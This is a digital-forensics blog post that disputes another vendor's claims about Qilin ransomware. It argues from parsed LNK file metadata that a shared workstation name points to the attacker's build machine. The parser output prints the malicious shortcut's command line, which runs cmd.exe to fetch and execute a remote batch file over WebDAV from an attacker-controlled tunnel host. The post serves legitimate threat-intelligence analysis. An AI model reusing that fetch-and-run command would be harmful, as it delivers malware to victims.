Monday, September 01, 2025

Ransomware artifacts

I recently read through this FalconFeeds article on Qilin ransomware; being in DFIR consulting for as long as I have, and given how may ransomware incidents I've responded to or dug into, articles with titles like this attract my attention. I do not presume to know everything, and in fact, I'm very interested in the insights others provide based on their own investigations. As such, articles like this grab my attention. 

As I read through the article, however, I become somewhat confused. Consider this quote from article:

On closer examination, it is likely that the individual behind the Stack Overflow post was an infected victim rather than an attacker. This assessment is supported by the fact that another IP address 107[.]167[.]93[.]118 was observed with the same machine name (WIN-8OA3CCQAE4D) and identical configuration details. Such consistency across multiple, unrelated systems strongly indicates that the exploit automatically renames compromised hosts, leaving behind a uniform system identifier that inadvertently exposed itself in public forums. [emphasis added]

Okay, this statement is interesting. At work/day job, for example, we've observed this workstation name a number of times, with different IP addresses. Again, these have been observed at different times, so the thinking is that either a threat actor used different means to connect to the Internet, or the workstation with the NetBIOS name/machineID is a virtual machine shared by several individuals. I think what really threw me was the statement "...the exploit..."; while the word "exploit" is mentioned several times in the article, there's nothing that clearly delineates what that exploit is, nor how it was discovered or defined.

Later in the blog post, we see the section illustrated in Figure 1.

Figure 1: Blog excerpt

If I read the blog post correctly, the author's findings include the fact that the target victim is sent an LNK file by the threat actor; this is illustrated in Figure 2.

Figure 2: Blog excerpt

As anyone who's followed my work for any amount of time is aware, I'm very interested in LNK files, and not just from the perspective of parsing them, but more so, using the embedded metadata (or lack thereof, as the case may be) to develop threat intelligence. As JP/CERT pointed out a long time ago, there's a lot that an LNK file sent to a target can tell us about the developer's workstation, including the machine ID/NetBIOS name. So far, to my knowledge, the only folks to make full use of LNK metadata to develop threat intelligence is Mandiant, in their Nov 2018 write-up on APT29 (see fig. 5 & 6).

That being said, we know that many methods/APIs for creating LNK files automatically include the workstation name where the file is created in the LNK metadata. Since this affiliate is known (see Figure 2) to gain initial access to victim endpoints by sending a malicious LNK file, we know that the LNK file itself is not created on the target endpoint; as such, there is no reason to assume that there's an "exploit" that changes the name of impacted endpoint. 

While this is not something I've ever seen, nor heard of (again, I'll be the first to tell you that I don't know everything...), that doesn't mean that it's impossible. This definitely could happen, but the evidence presented doesn't hold up in the face of artifact knowledge and experience.

Using information from the FalconFeed article, I was able to locate and download a copy of the LNK file (MD5: 30fc1856c9e766a507015231a80879a8) and run it through my own LNK parser, and I got the following output:

guid               {00021401-0000-0000-c000-000000000046}
mtime              Fri Jan  3 15:02:21 2025 Z
atime              Fri Jan  3 15:02:21 2025 Z
ctime              Fri Jan  3 15:02:21 2025 Z
basepath           C:\Windows\System32\cmd.exe   
shitemidlist       My Computer/C:\/Windows/System32/cmd.exe
**Shell Items Details (times in UTC)**
  C:2021-05-08 08:06:52  M:2025-02-05 09:50:22  A:2025-02-05 09:50:22 Windows  (9)  [530/1]
  C:2021-05-08 08:06:52  M:2025-01-28 21:48:18  A:2025-01-28 21:48:18 System32  (9)  [3286/1]
  C:2025-01-03 15:02:22  M:2025-01-03 15:02:22  A:2025-01-03 15:02:22 cmd.exe  (9)  
vol_sn             A409-2302                     
vol_type           Fixed Disk                    
commandline        /c "\\cayman-inter-descending-processed.trycloudflare.com@SSL\DavWWWRoot\kma.bat"
iconfilename       %SystemRoot%\System32\SHELL32.dll
hotkey             0x0                             
showcmd            0x7  
                           
***LinkFlags***
HasLinkTargetIDList|IsUnicode|HasLinkInfo|HasArguments|EnableTargetMetadata|HasIconLocation|HasRelativePath

***PropertyStoreDataBlock***
GUID/ID pairs:
{28636aa6-953d-11d2-b5d6-00c04fd918d0}/30     ParsingPath: C:\Users\Village Manor 2022\Desktop\osha3165 - Copy.pdf
{446d16b1-8dad-4870-a748-402ea43d788c}/104    VolumeID: {ad378747-1bfd-4172-b598-a876b80c03d9}
{b725f130-47ef-101a-a5f1-02608c9eebac}/10     ItemNameDisplay: osha3165 - Copy.pdf
{b725f130-47ef-101a-a5f1-02608c9eebac}/12     Size: 16040764
{b725f130-47ef-101a-a5f1-02608c9eebac}/14     DateModified: Tue Jul 17 20:17:44 2012 Z
{b725f130-47ef-101a-a5f1-02608c9eebac}/15     DateCreated : Thu Feb  6 07:34:38 2025 Z
{b725f130-47ef-101a-a5f1-02608c9eebac}/4      ItemType: Microsoft Edge PDF Document
{e3e0584c-b788-4a5a-bb20-7f5a44c9acdd}/6      ItemFolderPathDisplay: C:\Use

***KnownFolderDataBlock***
GUID  : {1ac14e77-02e7-4e5d-b744-2eb1ae5198b7}
Folder: CSIDL_SYSTEM

***TrackerDataBlock***
Machine ID            : win-8oa3ccqae4d 
New Droid ID Time     : Fri Jan 31 14:29:24 2025 UTC
New Droid ID Seq Num  : 5988
New Droid    Node ID  : e0:09:88:3d:81:23
Birth Droid ID Time   : Fri Jan 31 14:29:24 2025 UTC
Birth Droid ID Seq Num: 5988
Birth Droid Node ID   : e0:09:88:3d:81:23

From the above output, and looking back to the Mandiant article, we can see a great deal about the developer's endpoint, including the workstation name "win-8oa3ccqae4d". We can also see a great deal of information that can likely be applied to the campaign, and by extension, be used to flesh out and provide context to both intrusion and threat intelligence.

However, it seems clear that the author of the FalconFeeds article is missing some knowledge of Windows artifacts and file structures. Running an LNK file through ANY.RUN is a method to use, but it should not be the only method that's used to develop information from that artifact. This also supports my thoughts CTI teams would benefit from a deep digital analysis skill sets, to develop and interpret artifacts from various systems and endpoints in a more thorough, correct manner. 

No comments: